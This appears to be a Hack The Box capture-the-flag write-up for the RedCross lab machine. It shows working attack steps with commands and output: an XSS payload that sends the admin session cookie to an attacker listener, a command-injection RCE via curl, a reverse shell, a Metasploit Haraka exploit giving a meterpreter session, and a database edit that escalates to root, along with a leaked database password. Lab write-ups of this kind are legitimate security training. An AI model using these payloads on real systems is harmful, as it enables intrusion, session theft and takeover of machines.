Hack The Box - Writeup

RedCross

Patrick Hener

January 10, 2019

Table of Content

Recon **3**
- nmap . . . 3
- Browser . . . 3
- Gobuster . . . 3
- Cookie stealing via XSS . . . 4

Initial Foothold - Get user.txt **4**

Priv Esc - Get root.txt **7**

Recon

nmap

```
Discovered open port 80/tcp on 10.10.10.113
Discovered open port 22/tcp on 10.10.10.113
Discovered open port 443/tcp on 10.10.10.113
```

Browser

Navigating to the page you will notice you have to add `intra.redcross.htb` to your `/etc/hosts` file. After that the http port 80/tcp redirects to https tcp/443. You will be presented with a login form.

Searching for other usual subdomains you will discover `admin.redcross.htb`.

There is a contact form which is vulnerable to cross-site scripting. With the attack vector:

and a listener on your attacker box like:

`sudo python -m http.server 80`

you can get the admins' php cookie.

Gobuster

You may discover `https://admin.redcross.htb/phpmyadmin/index.php` if you are lucky.

What you wanna find is `https://intra.redcross.htb/documentation/account-signup.pdf` which will reveal details of creating a user account.

```
--- ~ » gobuster -w /usr/share/dirbuster/directory-list-2.3-small.txt -k
-x pdf -u https://intra.redcross.htb/documentation/

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://intra.redcross.htb/documentation/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/directory-list-2.3-small.txt
```

```
[+] Status codes : 301,302,307,200,204
[+] Extensions   : .pdf
==================================================
/account-signup.pdf (Status: 200)
```

Doing what is beeing told will get you temporary credentials `guest:guest` which can be used to login to the application.

Cookie stealing via XSS

Also you can steal admins *PHPSESSID* cookie using the login pages' contact form.

Provide this as a email address `<script>new Image().src="http://10.10.14.8:8000/"+document.cook` and listen for the incoming cookie like so:

```
--- ~ » sudo python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.113 - - [13/Nov/2018 12:31:08] code 404, message File not found
10.10.10.113 - - [13/Nov/2018 12:31:08] "GET
    ↪ /PHPSESSID=usv2sr90b755kcu5obarkj6iv0;%20LANG=EN_US;%20SINCE=1542108659;%20LIMIT=10;%2
    ↪ HTTP/1.1" 404 -
```

Now you can impersonate the admin at https://admin.redcross.htb as the cookie scope says `domain=admin`.

Initial Foothold - Get user.txt

On that page you will be able to create a user. This user can be used to log on via ssh to the box.

You will recognise that you are in a chroot jail and may not break out via ssh shell. So later on you may discover that the deny function of the firewall module on the admin page is prone to a RCE vulnerability like so:

```
--- ~ » curl -k -X POST https://admin.redcross.htb/pages/actions.php
    ↪ --cookie phpsessid=6tactg18ilblkbdii1e6h7mep0 --data
    ↪ 'ip=10.10.13.54;id&action=deny'
DEBUG: All checks passed... Executing iptables
Network access restricted to 10.10.13.54
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)%
```

Using this RCE you can easily transfer a static socat file and gain reverse shell this way. You are now www-data on redcross.

```
www-data@redcross:/$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
    ↪ default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
    ↪ UNKNOWN group default qlen 1000
    link/ether 00:50:56:bf:22:08 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.113/24 brd 10.10.10.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:febf:2208/64 scope link
       valid_lft forever preferred_lft forever
www-data@redcross:/$ whoami
www-data
www-data@redcross:/$ hostname
redcross
www-data@redcross:/$
```

So there is this `/opt/iptctl/iptctl` binary which source code you can find in publics' home when logged invia ssh earlier. The binary has setuid byte set.

```
www-data@redcross:/opt/iptctl$ ls -la
total 24
drwxrwxr-x 2 root root  4096 Jun 10 18:43 .
drwxr-xr-x 5 root root  4096 Jun  7 18:08 ..
-rwsr-sr-x 1 root root 13152 Jun 10 18:39 iptctl
www-data@redcross:/opt/iptctl$
```

Interactive mode can be triggered by using it with argument `-i` but might get you nowhere. You can segfault it like so:

```
www-data@redcross:/opt/iptctl$ ./iptctl allow $(python -c 'print("A" *
    ↪ 281)')
Usage:  allow|restrict|show IP
```

```
www-data@redcross:/opt/iptctl$ ./iptctl allow $(python -c 'print("A" *
    ↪ 282)')
Segmentation fault
```

If you build up a reverse ssh shell and forward port 1025 back to your attackers box you will be able to netcat to it revealing this:

```
220 redcross ESMTP Haraka 2.8.8 ready
```

Lucky enough there is a ready made RCE exploit for this. Using it you will be able to gain meterpreter session using msf module. Be sure to define `penelope@redcross.htb` to get it working:

```
msf exploit(linux/smtp/haraka) > run

[*] Started reverse TCP handler on 10.10.14.8:4444
[*] Exploiting...
[*] Using URL: http://10.10.14.8:8080/MpEmu66
[*] Sending mail to target server...
[*] Client 10.10.10.113 (Wget/1.18 (linux-gnu)) requested /MpEmu66
[*] Sending payload to 10.10.10.113 (Wget/1.18 (linux-gnu))
[*] Sending stage (816260 bytes) to 10.10.10.113
[*] Meterpreter session 2 opened (10.10.14.8:4444 -> 10.10.10.113:54886) at
    ↪ 2018-11-14 14:26:55 +0100


[+] Triggered bug in target server (plugin timeout)
[*] Command Stager progress - 100.00% done (110/110 bytes)
[*] Server stopped.

meterpreter >
meterpreter >
meterpreter > shell
Process 5234 created.
Channel 1 created.
id
uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)
```

Grab the flag then!

```
cd /home/penelope
cat user.txt
ac899bd46f7b014a369fbb60e53329bf
```

As you are in there be sure to paste your ssh public key to `.ssh/authorized_keys` to simple ssh in as user penelope. Will be an easy checkpoint as long as the box is not reset.

Priv Esc - Get root.txt

So you will find credentials to enter the postgresql database in the action.php in the web directory. You are opting for the unix database. What we are doing now is:

- Add User at the Admin frontend we stole the cookie for
- Login to database and alter the entry to be in the sudo gid = 27
- Login via ssh to the box as the altered user
- sudo bash
- be root

After you added the user go and alter the database entry

```
penelope@redcross:/tmp/pwntools$ psql -d unix -h 127.0.0.1 -U unixusrmgr
Password for user unixusrmgr:dheu%7wjx8B&

unix=> select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |
    ↪ homedir     |   shell
----------|------------------------------------|------|------|-------|----------------|------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       |
    ↪ /var/jail/home | /bin/bash
 c1sc0    | $1$O7MNs3KY$slQcyaB8y1HR3mWyr7aLc/ | 2020 | 1001 |       |
    ↪ /var/jail/home | /bin/bash
 c1sc0adm | $1$JGJaLIf1$dQAZgTnrJz6.bDAasCZA8. | 2021 | 1001 |       |
    ↪ /var/jail/home | /bin/bash
(3 rows)

unix=> UPDATE passwd_table SET gid = '27' WHERE username = 'c1sc0adm';
UPDATE 1
unix=> UPDATE passwd_table SET homedir = '/root' WHERE username =
    ↪ 'c1sc0adm';
UPDATE 1
unix=> select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |
    ↪ homedir     |   shell
----------|------------------------------------|------|------|-------|----------------|------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       |
    ↪ /var/jail/home | /bin/bash
```

```
 c1sc0    | $1$O7MNs3KY$slQcyaB8y1HR3mWyr7aLc/ | 2020 | 1001 |       |
    ↪ /var/jail/home | /bin/bash
 c1sc0adm | $1$JGJaLIf1$dQAZgTnrJz6.bDAasCZA8. | 2021 |   27 |       |
    ↪ /root          | /bin/bash
(3 rows)
```

Next you login via ssh and do sudo bash:

```
--- ~ » ssh -l c1sc0adm 10.10.10.113
c1sc0adm@10.10.10.113's password:
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07)
    ↪ x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

c1sc0adm@redcross:/$ c1sc0adm@redcross:/$ id
uid=2021(c1sc0adm) gid=27(sudo) groups=27(sudo)
c1sc0adm@redcross:/$ sudo bash

[sudo] password for c1sc0adm:
root@redcross:/# cd /root
root@redcross:~# cat root.txt
892a1f4d018e5d382c4f5ee1b26717a4
```

There you go!